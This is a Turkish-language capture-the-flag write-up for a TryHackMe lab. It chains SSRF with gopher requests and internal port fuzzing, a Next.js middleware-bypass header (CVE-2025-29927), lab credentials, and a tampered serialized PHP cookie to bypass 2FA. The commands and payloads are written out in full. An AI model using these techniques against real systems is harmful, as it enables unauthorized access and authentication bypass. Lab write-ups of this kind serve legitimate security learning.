Bugün sizlere TryHackMe üzerindeki https://tryhackme.com/room/extract odasında karşılaştığım zafiyet zincirini ve nasıl iki flag'i ele geçirdiğimi anlatacağım. Bu odada SSRF zafiyetinden faydalanarak iç ağda servis keşfi yaptım, gopher protokolüyle POST isteği simüle ettim, Next.js uygulamasındaki bir CVE'yi kullanarak kimlik doğrulama bypass ettim ve PHP nesne manipülasyonu ile 2FA'yı geçerek ikinci flag'i aldım.
Açık portlar:
- 22/tcp → OpenSSH
- 80/tcp → Apache httpd
Web uygulamasında /preview.php?url=
parametresiyle dış kaynaklara istek gönderilebildiğini fark ettim. Basit bir test dosyası oluşturarak SSRF'i doğruladım:
echo "test" > test.txt
python3 -m http.server 8080
http://10.10.194.136/preview.php?url=http://10.10.51.208:8080/nightbird.txt
- Gopher Protokolü ile Ham Veri Gönderimi -
file://
engellenmişti ama gopher://
çalışıyordu:
nc -lvnp 4444
http://10.10.194.136/preview.php?url=gopher://10.10.51.208:4444/_test
Bu sayede POST gibi özel istekleri SSRF üzerinden simüle edebileceğimi fark ettim
- Port Fuzzing ile İç Servis Keşfi -
ffuf -u 'http://10.10.194.136/preview.php?url=http://127.0.0.1:FUZZ/' -w <(seq 1 65535) -mc all -t 100 -fs 0
10000 portunda Next.js uygulaması çalışıyor.
- Proxy ile İç Servise Erişim -
PORT_TO_PROXY = 10000
python3 proxy.py

Tarayıcıdan http://127.0.0.1:5000/ iç servise ulaştım
CVE-2025–29927 ile Middleware Bypass
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://127.0.0.1:5000/customapi
- Bayrak THM{363*****************************}
IP Kısıtlamasını Aşmak
Proxy'yi port 80'e yönlendirdim:
PORT_TO_PROXY = 80
http://127.0.0.1:5000/management/ → login formuna ulaştım.
librarian:L1br4r1AN!! ile giriş yaptım
Cookie Manipülasyonu ile 2FA Bypass
Giriş sonrası gelen cookie:
auth_token = O:9:"AuthToken":1:{s:9:"validated";b:0;}
Bunu şu şekilde değiştirdim
auth_token = O:9:"AuthToken":1:{s:9:"validated";b:1;}
ve sayfayı yenilediğim de 2. Bayrağı elde etmiş oldum
